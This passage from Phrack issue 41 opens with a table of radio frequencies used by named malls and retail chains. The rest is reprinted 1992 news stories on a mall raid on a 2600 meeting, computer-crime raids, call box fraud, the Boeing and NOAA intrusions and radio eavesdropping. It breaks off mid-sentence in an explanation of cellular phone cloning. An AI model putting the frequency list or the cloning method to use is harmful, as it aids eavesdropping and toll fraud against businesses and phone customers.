| UT | Salt Lake City | Crossroads Plaza | 464.825 |
| | | | 464.975 |
| | | | 464.9875 |
| VA | Colonial Heights | Southpark Mall | 855.5625 |
| VA | Hampton | Coliseum Mall | 464.30 |
| VA | Portsmouth | Tower Mall | 464.675 |
| WI | Milwaukee | Southgate Mall | 464.725 |
| | | | 464.8875 |
| WV | Vienna | Grand Central Mall | 151.835 |
| WY | Cheyenne | Frontier Mall | 464.5125 |
\__________________________________________________________/
__________________________________________________________
/ | \n| J.C. Penny's | 154.57, 154.60, 461.6125, 461.9375, |
| | 464.50, 464.55 |
| K-Mart | 154.57, 154.60, 457.5375, 457.5875, |
| | 461.3125,463.9125 |
| Montgomery Ward| 467.8125 |
| Sears | 154.57, 454.50, 464.55 |
| Toys R Us | 461.7375, 461.9625, 463.7875, 464.9625 |
| Wal-Mart | 151.625, 467.7625, 467.75, 467.775 |
| | 467.80, 467.825, 467.85, 467.875, 467.90|
| Zayre | 461.0125, 463.4125 |
\________________|_________________________________________/
--------------------------------------------------------------------------------
==Phrack Inc.==
Volume Four, Issue Forty-One, File 11 of 13
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
PWN PWN
PWN Phrack World News PWN
PWN PWN
PWN Issue 41 / Part 1 of 3 PWN
PWN PWN
PWN Compiled by Datastream Cowboy PWN
PWN PWN
PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
Reports of "Raid" on 2600 Washington Meeting November 9, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Barbara E. McMullen & John F. McMullen (Newsbytes)
WASHINGTON, D.C. -- The publisher of a well-known hacker magazine claims a
recent meeting attended by those interested in the issues his magazine raises
was disrupted by threats of arrest by security and Arlington, Virginia police
officers.
Eric Corley, also known as "Emmanuel Goldstein," editor and publisher of "2600
Magazine: The Hacker Quarterly," told Newsbytes that the meeting was held
November 6th at the Pentagon City Mall outside Washington, DC was disrupted and
material was confiscated in the raid.
2600 Magazine promotes monthly meetings of hackers, press, and other interested
parties throughout the country. The meetings are held in public locations on
the first Friday evening of the month and the groups often contact each other
by telephone during the meetings.
Corley told Newsbytes that meetings were held that evening in New York,
Washington, Philadelphia, Cambridge, St. Louis, Chicago, Los Angeles and San
Francisco. Corley said, "While I am sure that meetings have been observed by
law enforcement agencies, this is the only time that we have been harassed. It
is definitely a freedom of speech issue."
According to Craig Neidorf, who was present at the meeting and was distributing
applications for membership in Computer Professionals For Social Responsibility
(CPSR), "I saw the security officers focusing on us. Then they started to come
toward us from a number of directions under what seemed to be the direction of
a person with a walkie-talkie on a balcony. When they approached, I left the
group and observed the security personnel encircling the group of about 30
gatherers. The group was mainly composed of high school and college students.
The guards demanded to search the knapsacks and bags of the gatherers. They
confiscated material, including CPSR applications, a copy of Mondo 2000 (a
magazine), and other material."
He adds that the guards also confiscated film "from a person trying to take
pictures of the guards. When a hacker called "HackRat" attempted to copy down
the names of the guards, they took his pencil and paper."
Neidorf continued, "I left to go outside and rejoined the group when they were
ejected from the mall. The guards continued challenging the group and told
them that they would be arrested if they returned. When one of the people
began to take pictures of the guards, the apparent supervisor became excited
and threatening but did not confiscate the film."
Neidorf also said, "I think that the raid was planned. They hit right about
6:00 and they identified our group as "hackers" and said that they knew that
this group met every month."
Neidorf's story was supported by a Washington "hacker" called "Inhuman," who
told Newsbytes, "I arrived at the meeting late and saw the group being detained
by the guards. I walked along with the group as they were being ushered out
and when I asked a person who seemed to be in authority his name, he pointed at
a badge with his name written in script on it. I couldn't make out the name
and, when I mentioned that to the person, he said 'If you can't read it, too
bad.' I did read his name, 'C. Thomas,' from another badge."
Inhuman also told Newsbytes that he was told by a number of people that the
guards said that they were "acting on behalf of the Secret Service." He added,
"I was also told that there were two police officers from the Arlington County
Police present but I did not see them."
Another attendee, Doug Luce, reports, "I also got to the DC meeting very late;
7:45 or so. It seemed like a coordinated harassment episode, not geared toward
busting anyone, but designed to get people riled up, and maybe not come back to
the mall."
Luce adds that he overheard a conversation between someone who had brought a
keyboard to sell. The person, he said, was harassed by security forces, one of
whom said, "You aren't selling anything in my mall without a vendors permit!"
Possible Secret Service involvement was supported by a 19 year-old college
student known as the "Lithium Bandit," who told Newsbytes, "I got to the mall
about 6:15 and saw the group being detained by approximately 5 Arlington County
police and 5 security guards. When I walked over to see what was going on, a
security guard asked me for an ID and I refused to show it, saying that I was
about to leave. The guard said that I couldn't leave and told me that I had to
see a police officer. When I did, the officer demanded ID and, when I once
again refused, he informed me that I could be detained for up to 10 hours for
refusing to produce identification. I gave in and produced my school ID which
the police gave to the security people who copied down my name and social
security number."
Lithium Bandit continued, "When I asked the police what was behind this action,
I was told that they couldn't answer but that 'the Secret Service is involved
and we are within our rights doing this."
The boy says he and others later went to the Arlington police station to get
more information and were told only that there was a report of the use of a
stolen credit card and two officers were sent to investigate. "They later
admitted that it was 5 (officers). While I was detained, I heard no mention of
a credit card and there was no one arrested."
Marc Rotenberg, director of CPSR's Washington office, told Newsbytes, "I have
really no details on the incident yet, but I am very concerned about the
reports. Confiscation of CPSR applications, if true, is outrageous. I will
find out more facts on Monday."
Newsbytes was told by the Pentagon City Mall office that any information
concerning the action would have to come from the director of security, Al
Johnson, who was not available until Monday. The Arlington Country Police
referred Newsbytes to a "press briefing recording" which had not been updated
since the morning before the incident.
Corley told Newsbytes, "There have been no reports of misbehavior by any of
these people. They were obviously singled out because they were hackers. It's
as if they were being singled out as an ethnic group. I admire the way the
group responded -- in a courteous fashion. But it is inexcusable that it
happened. I will be at the next Washington meeting to insure that it doesn't
happen again."
The manager of one of New York state's largest malls provided background
information to Newsbytes on the rights of malls to police those on mall
property, saying, "The primary purpose of a mall is to sell. The interior of
the mall is private property and is subject to the regulations of the mall.
The only requirement is that the regulations be enforced in an even-handed
manner. I do not allow political activities in my mall so I could not make an
exception for Democrats. We do allow community groups to meet but they must
request space at least two weeks before the meeting and must have proper
insurance. Our regulations also say that groups of more than 4 may not
congregate in the mall."
The spokeswoman added that mall security can ask for identification from those
who violate regulations and that they may be barred from the mall for a period
of 6 months.
She added, "Some people feel that mall atriums and food courts are public
space. They are not and the industry is united on this. If the malls were to
receive tax benefits for the common space and public service in snow removal
and the like, it could possibly be a public area but malls are taxed on the
entire space and are totally private property, subject to their own
regulations. If a group of 20 or more congregated in my mall, they would be
asked to leave."
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Confusion About Secret Service Role In 2600 Washington Raid November 7, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Barbara E. McMullen & John F. McMullen (Newsbytes)
WASHINGTON, D.C.-- In the aftermath of an action on Friday, November 6th by
members of the Pentagon City Mall Police and police from Arlington County,
Virginia in which those attending a 2600 meeting at the mall were ordered from
the premises, conflicting stories continue to appear.
Attendees at the meeting have contended to Newsbytes that members of the mall
police told them that they were "acting on behalf of the Secret Service." They
also maintain that the mall police confiscated material from knapsacks and took
film from someone attempting to photograph the action and a list of the names
of security officers that one attendee was attempting to compile.
Al Johnson, chief of security for the mall, denied these allegations to
Newsbytes, saying "No one said that we were acting on behalf of the Secret
Service. We were merely enforcing our regulations. While the group was not
disruptive, it had pulled tables together and was having a meeting in our food
court area. The food court is for people eating and is not for meetings. We
therefore asked the people to leave."
Johnson denied that security personnel took away any film or lists and further
said "We did not confiscate any material. The group refused to own up to who
owned material on the tables and in the vicinity so we collected it as lost
material. If it turns out that anything did belong to any of those people,
they are welcome to come in and, after making proper identification, take the
material."
In a conversation early on November 9th, Robert Rasor, Secret Service agent-in-
charge of computer crime investigations, told Newsbytes that having mall
security forces represent the Secret Service is not something that was done
and, that to his knowledge, the Secret Service had no involvement with any
Pentagon City mall actions on the previous Friday.
A Newsbytes call to the Arlington County police was returned by a Detective
Nuneville who said that her instructions were to refer all questions concerning
the matter to agent David Adams of the Secret Service. She told Newsbytes that
Adams would be providing all information concerning the involvement of both the
Arlington Police and the Secret Service in the incident.
Adams told Newsbytes "The mall police were not acting as agents for the Secret
Service. Beyond that, I can not confirm or deny that there is an ongoing
investigation."
Adams also told Newsbytes that "While I cannot speak for the Arlington police,
I understand that their involvement was due to an incident unrelated to the
investigation."
Marc Rotenberg, director of the Washington office of Computer Professionals for
Social Responsibility (CPSR), told Newsbytes "CPSR has reason to believe that
the detention of people at the Pentagon City Mall last Friday was undertaken at
the behest of the Secret Service, which is a federal agency. If that is the
case, then there was an illegal search of people at the mall. There was no
warrant and no indication of probable illegal activity. This raises
constitutional issues. We have undertaken the filing of a Freedom of
Information Act (FOIA) request to determine the scope, involvement and purpose
of the Secret Service in this action."
2600 meetings are held on the evening of the first Friday of each month in
public places and malls in New York City, Washington, Philadelphia, Cambridge,
St. Louis, Chicago, Los Angeles and San Francisco. They are promoted by 2600
Magazine: The Hacker Quarterly and are attended by a variety of persons
interested in telecommunications and so-called "hacker issues". The New York
meeting, the oldest of its kind, is regularly attended by Eric Corley a/k/a
Emmanuel Goldstein, editor and publisher of 2600, hackers, journalists,
corporate communications professionals and other interested parties. It is
known to have been the subject of surveillance at various times by law
enforcement agencies conducting investigations into allegations of computer
crime.
Corley told Newsbytes "While I'm sure that meetings have been observed by law
enforcement agencies, this is the only time that we have been harassed. It's
definitely a freedom of speech issue." Corley also that he plans to be at the
December meeting in Washington "to insure that it doesn't happen again."
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Conflicting Stories In 2600 Raid; CRSR Files FOIA November 11, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Barbara E. McMullen & John F. McMullen (Newsbytes)
WASHINGTON, D.C. -- In the on-going investigation of possible Secret Service
involvement in the Friday, November 6th ejection of attendees at a "2600
meeting" from the premises of the Pentagon City Mall, diametrically opposed
statements have come from the same source.
Al Johnson, chief of security for the Pentagon City Mall told Newsbytes on
Monday, November 9th "No one said that we were acting on behalf of the Secret
Service. We were merely enforcing our regulations. While the group was not
disruptive, it had pulled tables together and was having a meeting in our food
court area. The food court is for people eating and is not for meetings. We
therefore asked the people to leave."
On the same day, Johnson was quoted was quoted in a Communications Daily
article by Brock Meeks as saying "As far as I'm concerned, we're out of this.
The Secret Service, the FBI, they're the ones that ramrodded this whole thing."
Newsbytes contacted Meeks to discuss the discrepancies in the stories and were
informed that the conversation with Johnson had been taped and was available
for review. The Newsbytes reporter listened to the tape (and reviewed a
transcript). On the tape, Johnson was clearly heard to make the statement
quoted by Meeks.
He also said "maybe you outta call the Secret Service, they're handling this
whole thing. We, we were just here", and, in response to a Meeks question
about a Secret Service contact, "Ah.. you know, I don't have a contact person.
These people were working on their own, undercover, we never got any names, but
they definitely, we saw identification, they were here."
Newsbytes contacted Johnson again on the morning of Wednesday, November 11 and
asked him once again whether there was any Secret Service involvement in the
action. Johnson said "No, I told you that they were not involved." When it was
mentioned that there was a story in Communications Daily, quoting him to the
contrary, Johnson said "I never told Meeks that. There was no Secret Service
involvement"
Informed of the possible existence of a tape quoting him to the contrary.
Johnson said "Meeks taped me? He can't do that. I'll show him that I'm not
fooling around. I'll have him arrested."
Johnson also said "He asked me if the Secret Service was involved; I just told
him that, if he thought they were, he should call them and ask them."
Then Johnson again told Newsbytes that the incident was "just a mall problem.
There were too many people congregating."
[NOTE: Newsbytes stands by its accurate reporting of Johnson's statements. It
also affirms that the story by Meeks accurately reflects the material taped
during his interview]
In a related matter, Marc Rotenberg, director of the Washington office of
Computer Professionals For Social Responsibility (CPSR) has announced that CPSR
has filed a Freedom of Information Act (FOIA) request with the Secret Service
asking for information concerning Secret Service involvement in the incident.
Rotenberg told Newsbytes that the Secret Service has 10 days to respond to the
request. He also said that CPSR "is exploring other legal options in this
matter."
The Secret Service, in earlier conversations with Newsbytes, has denied that
the mall security was working on its behalf.
In the incident itself, a group attending the informal meeting was disbanded
and, according to attendees, had property confiscated. They also contend that
security guards took film from someone photographing the confiscation as well
as a list that someone was making of the guard's names. In his November 9th
conversation with Newsbytes, Johnson denied that security personnel took away
any film or lists and further said "We did not confiscate any material. The
group refused to own up to who owned material on the tables and in the vicinity
so we collected it as lost material. If it turns out that anything did belong
to any of those people, they are welcome to come in and, after making proper
identification, take the material."
2600 meetings are promoted by 2600 Magazine: The Hacker Quarterly and are held
on the evening of the first Friday of each month in public places and malls in
New York City, Washington, Philadelphia, Cambridge, St. Louis, Chicago, Los
Angeles and San Francisco. They are regularly attended by a variety of persons
interested in telecommunications and so-called "hacker issues".
_______________________________________________________________________________
Secret Service Grabs Computers In College Raid December 17, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Joe Abernathy (The Houston Chronicle)(Page A37)
The Secret Service has raided a dorm room at Texas Tech University, seizing the
computers of two Houston-area students who allegedly used an international
computer network to steal computer software.
Agents refused to release the names of the two area men and a third man, a
former Tech student from Austin, who were not arrested in the late-morning raid
Monday at the university in Lubbock. Their cases will be presented to a grand
jury in January.
The three, in their early 20s, are expected to be charged with computer crime,
interstate transport of stolen property and copyright infringements.
"The university detected it," said Agent R. David Freriks of the Secret Service
office in Dallas, which handled the case. He said Texas Tech computer system
operators noticed personal credit information mixed in with the software
mysteriously filling up their data storage devices.
The former student admitted pirating at least $6,000 worth of games and
programs this summer, Freriks said.
The raid is the first to fall under a much broader felony definition of
computer software piracy that could affect many Americans.
Agents allege the three used the Internet computer network, which connects up
to 15 million people in more than 40 nations, to make contacts with whom they
could trade pirated software. The software was transferred over the network,
into Texas Tech's computers and eventually into their personal computers.
The Software Publishers Association, a software industry group chartered to
fight piracy, contends the industry lost $1.2 billion in sales in 1991 to
pirates.
Although these figures are widely questioned for their accuracy, piracy is
widespread among Houston's 450-plus computer bulletin boards, and even more so
on the global Internet.
"There are a lot of underground sites on the Internet run by university system
administrators, and they have tons of pirated software available to download --
gigabytes of software," said Scott Chasin, a former computer hacker who is now
a computer security consultant.
Freriks said the investigation falls under a revision of the copyright laws
that allows felony charges to be brought against anyone who trades more than 10
pieces of copyrighted software -- a threshold that would cover many millions of
Americans who may trade copies of computer programs with their friends.
"The ink is barely dry on the amendment, and you've already got law enforcement
in there, guns blazing, because somebody's got a dozen copies of stolen
software," said Marc Rotenberg, director of Computer Professionals for Social
Responsibility, in Washington.
"That was a bad provision when it was passed, and was considered bad for
precisely this reason, giving a justification for over-reaching by law
enforcement."
Freriks said the raid also involved one of the first uses of an expanded right
to confiscate computers used in crime.
"Our biggest complaint has been that you catch 'em and slap 'em on the wrist,
and then give the smoking gun back," he said.
"So they've changed the law so that we now have forfeiture authority."
The Secret Service already has been under fire for what is seen by civil
libertarians as an overly casual use of such authority, which many believe has
mutated from an investigative tool into a de facto punishment without adequate
court supervision.
_______________________________________________________________________________
Hacker Taps Into Freeway Call Box -- 11,733 Times October 23, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Jeffrey A. Perlman (Los Angeles Times)(Page A3)
SANTA ANA, CA -- An enterprising hacker reached out and touched someone 11,733
times in August -- from a freeway emergency call box in Orange County.
A computer that monitors the county's emergency call boxes attributed 25,875
minutes of calls to the mysterious caller who telephoned people in countries
across the globe, according to a staff report prepared for the Orange County
Transportation Authority.
"This is well over the average of roughly 10 calls per call box," the report
noted.
About 1,150 bright yellow call boxes have been placed along Orange County's
freeways to connect stranded motorists to the California Highway Patrol. But
the caller charged all his calls to a single box on the shoulder of the Orange
(57) Freeway.
The hacker apparently matched the individual electronic serial number for the
call box to its telephone number. It took an investigation by the transit
authority, and three cellular communications firms to unravel the mystery, the
report stated.
Officials with the transit authority's emergency call box program were not
available to comment on the cost of the phone calls or to say how they would be
paid.
But the report assured that "action has been taken to correct this problem. It
should be noted that this is the first incident of this type in the five-year
history of the program."
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Ring May Be Responsible For Freeway Call Box Scam October 24, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Jodi Wilgoren (Los Angeles Times)(Page B4)
"Officials Believe A Hacker Sold Information to Others;
LA Cellular Will Pay For The Excess Calls."
COSTA MESA, CA -- As soon as he saw the August bill for Orange County's freeway
call boxes, analyst Dana McClure guessed something was awry.
There are typically about 12,000 calls a month from the 1,150 yellow boxes that
dot the county's freeways. But in August, there were nearly that many
registered to a single box on the Orange Freeway a half-mile north of Lambert
Road in Brea.
"This one stood out, like 'Whoa!'" said McClure, who analyzes the monthly
computer billing tapes for the Orange County Transportation Authority. "It
kicked out as an error because the number of minutes was so far over what it is
supposed to be."
With help from experts at LA Cellular, which provides the telephone service for
the boxes, and GTE Cellular, which maintains the phones, McClure and OCTA
officials determined that the calls -- 11,733 of them totaling 25,875 minutes
for a charge of about $1,600 -- were made because the hacker learned the code
and telephone number for the call boxes.
Because of the number of calls in just one month's time, officials believe
there are many culprits, perhaps a ring of people who bought the numbers from
the person who cracked the system.
You'd have to talk day and night for 17 or 18 days to do that; it'd be
fantastic to be able to make that many calls," said Lee Johnson of GTE
Cellular.
As with all cases in which customers prove they did not make the calls on their
bills, LA Cellular will pick up the tab, company spokeswoman Gail Pomerantz
said. Despite the amount of time involved, the bill was only $1,600, according
to OCTA spokeswoman Elaine Beno, because the county gets a special emergency
service rate for the call box lines.
The OCTA will not spend time and money investigating who made the calls;
however, it has adjusted the system to prevent further fraud. Jim Goode of LA
Cellular said such abuses are rare among cellular subscribers, and that such
have never before been tracked to freeway call boxes.
The call boxes contain solar cellular phones programmed to dial directly to the
California Highway Patrol or a to a GTE Cellular maintenance line. The calls
on the August bill included 800 numbers and 411 information calls and hundreds
of calls to financial firms in New York, Chicago and Los Angeles. That calls
were placed to these outside lines indicates that the intruders made the
connections from another cellular phone rather than from the call box itself.
Each cellular phone is assigned a seven-digit Mobile Identification Number that
functions like a phone number, and a 10- or 11-digit Electronic Service Number
unique to that particular phone (similar to the vehicle identification number
assigned every automobile). By reprogramming another cellular phone with the
MIN and ESN of the call box phone, a hacker could charge all sorts of calls to
the OCTA.
"That's not legally allowable, and it's not an easy thing to do," McClure said,
explaining that the numbers are kept secret and that reprogramming a cellular
phone could wreck it. "Most people don't know how to do that, but there are
some."
Everyone involved with the call box system is confident that the problem has
been solved, but officials are mum as to how they blocked potential cellular
banditry.
"I don't think we can tell you what we did to fix it because we don't want it
to happen again," Beno said with a laugh.
_______________________________________________________________________________
FBI Probes Possible Boeing Computer Hacker November 6, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Taken from Reuters
SEATTLE -- Federal authorities said Friday they were investigating the
possibility that a hacker had breached security and invaded a Unix-based
computer system at the aerospace giant Boeing Co.
The Federal Bureau of Investigation confirmed the probe after a Seattle radio
station reported it received a facsimile of a Boeing memorandum warning
employees the security of one of its computer networks may have been violated.
The memo, which had been sent from inside Boeing, said passwords may have been
compromised, a reporter for the KIRO station told Reuters.
KIRO declined to release a copy of the memorandum or to further identify its
source.
The memorandum said the problem involved computers using Unix, the open-ended
operating system used often in engineering work.
Sherry Nebel, a spokeswoman at Boeing's corporate headquarters, declined
comment on the memorandum or the alleged breach of security and referred all
calls to the FBI.
An FBI spokesman said the agency was in touch with the company and would
discuss with it possible breaches of federal law.
No information was immediately available on what type of computer systems may
have been violated at Boeing, the world's largest commercial aircraft
manufacturer.
The company, in addition, acts as a defense contractor and its business
includes work on the B-2 stealth bomber, NASA's space station and the "Star
Wars" project.
Boeing is a major user of computer technology and runs a computer services
group valued at $1 billion.
Much of the company's engineering work is conducted using computer -aided
design (CAD) capabilities. Boeing currently is pioneering a computerized
technique which uses 2,000 computer terminals to design its new 777 twinjet.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FBI Expands Boeing Computer Hacker Probe November 9, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Samuel Perry (Reuters)
SEATTLE -- Federal authorities expanded their investigation of a computer
hacker or hackers suspected of having invaded a computer system at aerospace
giant and defense contractor Boeing Co.
FBI spokesman Dave Hill said the investigation was expanded after the agency
discovered similar infiltrations of computer records belonging to the U.S.
District Court in Seattle and another government agency.
"We're trying to determine if the same individuals are involved here," he said,
adding more than one suspect may be involved and the purpose of the intrusion
was unclear.
"We don't think this was an espionage case," Hill said, adding federal agents
were looking into violations of U.S. law barring breaking into a computer of
federal interest, but that no government classified data was believed to be
compromised.
"I'm not sure what their motivation is," he told Reuters.
The FBI confirmed the investigation after a Seattle radio station reported it
received a facsimile of a Boeing memorandum warning employees that the security
of one of its computer networks may have been violated.
A news reporter at KIRO Radio, which declined to release the facsimile, said
it was sent by someone within Boeing and that it said many passwords may have
been compromised.
Boeing's corporate headquarters has declined to comment on the matter,
referring all calls to the FBI.
The huge aerospace company, which is the world's largest maker of commercial
jetliners, relies heavily on computer processing to design and manufacture its
products. Its data processing arm operates $1.6 billion of computer equipment.
No information was disclosed on what system at Boeing had been compromised.
But one computer industry official said it could include "applications
involving some competitive situations in the aerospace industry.
The company is a defense contractor or subcontractor on major U.S. military
programs, such as the B-2 stealth bomber, the advanced tactical fighter,
helicopters, the NASA space station and the "Star Wars" missile defense system.
Recently, Boeing has pioneered the unprecedented use of computer-aided design
capabilities in engineering its new 777 twinjet. The design of the 777 is now
mostly complete as Boeing prepares for final assembly beginning next year.
That system, which uses three-dimensional graphics to replace a draftsman's
pencil and paper, includes 2,000 terminals that can tap into data from around
the world.
_______________________________________________________________________________
Hacker Breaches NOAA Net August 3, 1992
~~~~~~~~~~~~~~~~~~~~~~~~
by Kevin Power (Government Computer News)(Page 10)
As a recent breach of the National Oceanic and Atmospheric Administration's
(NOAA) link to the Internet shows, the network not only benefits scientists but
also attracts unwanted attention from hackers.
NOAA officials said an intruder in May accessed the agency's TCP/IP network,
seeking to obtain access to the Internet. The breach occurred on the National
Weather Service headquarters' dial-in communications server in Silver Spring,
Maryland, said Harold Whitt, a senior telecommunications engineer with NOAA.
Cygnus Support, a Palo Alto, California, software company, alerted NOAA
officials to the local area network security breach when Cygnus found that an
outsider had accessed one of its servers from the NOAA modem pool and had
attempted several long-distance phone calls.
NOAA and Cygnus officials concluded that the perpetrator was searching for an
Internet host, possibly to locate a games publisher, Whitt said. Fortunately,
the hacker did no damage to NOAA's data files, he said.
Whitt said intruders using a modem pool to tap into external networks are
always a security concern. But organizations with Internet access seem to be
hacker favorites, he said. "There's a lot of need for Internet security,"
Whitt said.
"You have to make sure you monitor the usage of the TCP/IP network and the
administration of the local host. It's a common problem, but in our case we're
more vulnerable because of tremendous Internet access," Whitt said.
Whitt said NOAA's first response was to terminate all dial-in services
temporarily and change all the numbers.
Whitt said he also considered installing a caller-identification device for the
new lines. But the phone companies have limited capabilities to investigate
random incidents, he said.
"It's very difficult to isolate problems at the protocol level," Whitt said.
"We targeted the calls geographically to the Midwest.
"But once you get into the Internet and have an understanding of TCP/IP, you
can just about go anywhere," Whitt said.
NOAA, a Commerce Department agency, has since instituted stronger password
controls and installed a commercial dial-back security system, Defender from
Digital Pathways Inc. of Mountain View, California.
Whitt said the new system requires users to undergo password validation at dial
time and calls back users to synchronize modems and log calls. Despite these
corrective measures, Reed Phillips, Commerce's IRM director, said the NOAA
incident underlies the axiom that networks always should be considered
insecure.
At the recent annual conference of the Federation of Government Information
Processing Councils in New Orleans, Phillips said the government is struggling
to transmit more information electronically and still maintain control over the
data.
Phillips said agencies are plagued by user complacency, a lack of
organizational control, viruses, LAN failures and increasing demands for
electronic commerce. "I'm amazed that there are managers who believe their
electronic-mail systems are secure," Phillps said. "We provide a great deal of
security, but it can be interrupted.
"Security always gets hits hard in the budget. But the good news is vendors
recognize our needs and are coming out with cheaper security tools," Phillips
said.
Phillips said the NOAA attack shows that agencies must safeguard a network's
physical points because LANs present more security problems than centralized
systems.
"The perpetrator can dial in via a modem using the common services provided by
the telephone company, and the perpetrator risks no personal physical harm. By
gaining access to a single system on the network the perpetrator is then able
to propagate his access rights to multiple systems on the network," Phillips
said.
"In many LAN environments a user need only log on the network once and all
subsequent access is assumed to be authorized for the entire LAN. It then
becomes virtually impossible for a network manager or security manager to track
events of a perpetrator," he said.
_______________________________________________________________________________
Hackers Scan Airwaves For Conversations August 17, 1992
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by Mark Lewyn (The Washington Post)(Page A1)
"Eavesdroppers Tap Into Private Calls."
On the first day of the Soviet coup against Mikhail Gorbachev in August 1991,
Vice President Quayle placed a call to Senator John C. Danforth (R-Mo.) and
assessed the tense, unfolding drama.
It turned out not to be a private conversation.
At the time, Quayle was aboard a government jet, flying to Washington from
California. As he passed over Amarillo, Texas his conversation, transmitted
from the plane to Danforth's phone, was picked up by an eavesdropper using
electronic "scanning" gear that searches the airwaves for radio or wireless
telephone transmissions and then locks onto them.
The conversation contained no state secrets -- the vice president observed that
Gorbachev was all but irrelevant and Boris Yeltsin had become the man to watch.
But it remains a prized catch among the many conversations overhead over many
years by one of a steadily growing fraternity of amateur electronics
eavesdroppers who listen in on all sorts of over-the-air transmissions, ranging
from Air Force One communications to cordless car-phone talk.
One such snoop overheard a March 1990 call placed by Peter Lynch, a well-known
mutual fund executive in Boston, discussing his forthcoming resignation, an
event that later startled financial circles. Another electronic listener
overheard the chairman of Popeye's Fried Chicken disclose plans for a 1988
takeover bid for rival Church's Fried Chicken.
Calls by President Bush and a number of Cabinet officers have been intercepted.
The recordings of car-phone calls made by Virginia Governor L. Douglas Wilder
(D), intercepted by a Virginia Beach restaurant owner and shared with Senator
Charles S. Robb (D-Va.), became a cause ce'le'bre in Virginia politics.
Any uncoded call that travels via airwaves, rather than wire, can be picked up,
thus the possibilities have multiplied steadily with the growth of cellular
phones in cars and cordless phones in homes and offices. About 41 percent of
U.S. households have cordless phones and the number is expected to grow by
nearly 16 million this year, according to the Washington-based Electronics
Industry Association.
There are 7.5 million cellular phone subscribers, a technology that passes
phone calls over the air through a city from one transmission "cell" to the
next. About 1,500 commercial airliners now have air-to-ground phones -- roughly
half the U.S. fleet.
So fast-growing is this new form of electronic hacking that it has its own
magazines, such as Monitoring Times. "The bulk of the people doing this aren't
doing it maliciously," said the magazine's editor, Robert Grove, who said he
has been questioned several times by federal agents, curious about hackers'
monitoring activities.
But some experts fear the potential for mischief. The threat to business from
electronic eavesdropping is "substantial," said Thomas S. Birney III, president
of Cellular Security Group, a Massachusetts-based consulting group.
Air Force One and other military and government aircraft have secure satellite
phone links for sensitive conversations with the ground, but because these are
expensive to use and sometimes not operating, some calls travel over open
frequencies. Specific frequencies, such as those used by the president's
plane, are publicly available and are often listed in "scanners" publications
and computer bulletin boards.
Bush, for example, was accidentally overheard by a newspaper reporter in 1990
while talking about the buildup prior to the Persian Gulf War with Senator
Robert Byrd (D-W.Va.). The reporter, from the Daily Times in Gloucester,
Massachusetts quickly began taking notes and the next day, quoted Bush in his
story under the headline, "Bush Graces City Airspace."
The vice president's chief of staff, William Kristol, was overheard castigating
one staff aide as a "jerk" for trying to reach him at home.
Some eavesdroppers may be stepping over the legal line, particularly if they
tape record such conversations.
The Electronic Communications Privacy Act prohibits intentional monitoring,
taping or distribution of the content of most electronic, wire or private oral
communications. Cellular phone calls are explicitly protected under this act.
Local laws often also prohibit such activity. However, some lawyers said that
under federal law, it is legal to intercept cordless telephone conversations as
well as conversations on an open radio channel.
The government rarely prosecutes such cases because such eavesdroppers are
difficult to catch. Not only that, it is hard to win convictions against
"listening Toms," lawyers said, because prosecutors must prove the
eavesdropping was intentional.
"Unless they prove intent they are not going to win," said Frank Terranella,
general counsel for the Association of North American Radio Clubs in Clifton,
New Jersey. "It's a very tough prosecution for them."
To help curb eavesdropping, the House has passed a measure sponsored by Rep.
Edward J. Markey (D-Mass.), chairman of the House telecommunications and
finance subcommittee, that would require the Federal Communications Commission
to outlaw any scanner that could receive cellular frequencies. The bill has
been sent to the Senate.
But there are about 10 million scanners in use, industry experts report, and
this year sales of scanners and related equipment such as antennas will top
$100 million.
Dedicated scanners, who collect the phone calls of high-ranking government
officials the way kids collect baseball cards, assemble basements full of
electronic gear.
In one sense, the electronic eavesdroppers are advanced versions of the
ambulance chasers who monitor police and fire calls with simpler scanning
equipment and then race to the scene of blazes and accidents for a close look.
But they also have kinship with the computer hackers who toil at breaking into
complex computer systems and rummaging around other's files and software
programs.
One New England eavesdropper has four scanners, each one connected to its own
computer, with a variety of frequencies programmed. When a conversation
appears on a pre-selected frequency, a computer automatically locks in on the
frequency to capture it. He also keeps a scanner in his car, for entertainment
along the road.
He justifies his avocation with a seemingly tortured logic. "I'm not going out
and stealing these signals," he said. "They're coming into my home, right
through my windows."
_______________________________________________________________________________
Why Cybercrooks Love Cellular December 21, 1989
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
by William G. Flanagan and Brigid McMenamin (Forbes)(Page 189)
Cellular phones provide cybercrooks with golden opportunities for telephone
toll fraud, as many shocked cellular customers are discovering. For example,
one US West Cellular customer in Albuquerque recently received a hefty
telephone bill.
Total: $20,000.
Customers are not held responsible when their phone numbers are ripped off and
misused. But you may be forced to have your cellular phone number changed.
The cellular carriers are the big losers -- to the tune of an estimated $300
million per year in unauthorized calls.
How do the crooks get the numbers? There are two common methods: cloning and
tumbling.
Each cellular phone has two numbers -- a mobile identification number (MIN) and
an electronic serial number (ESN). Every time you make a call, the chip
transmits both numbers to the local switching office for verification and
billing.
Cloning involves altering the microchip in another cellular phone so that both
the MIN and ESN numbers match those stolen from a bona fide customer. The
altering can be done with a personal computer. The MIN and ESN numbers are
either purchased from insiders or plucked from the airwaves with a legal
device, about the size of a textbook, that can be plugged into a vehicle's
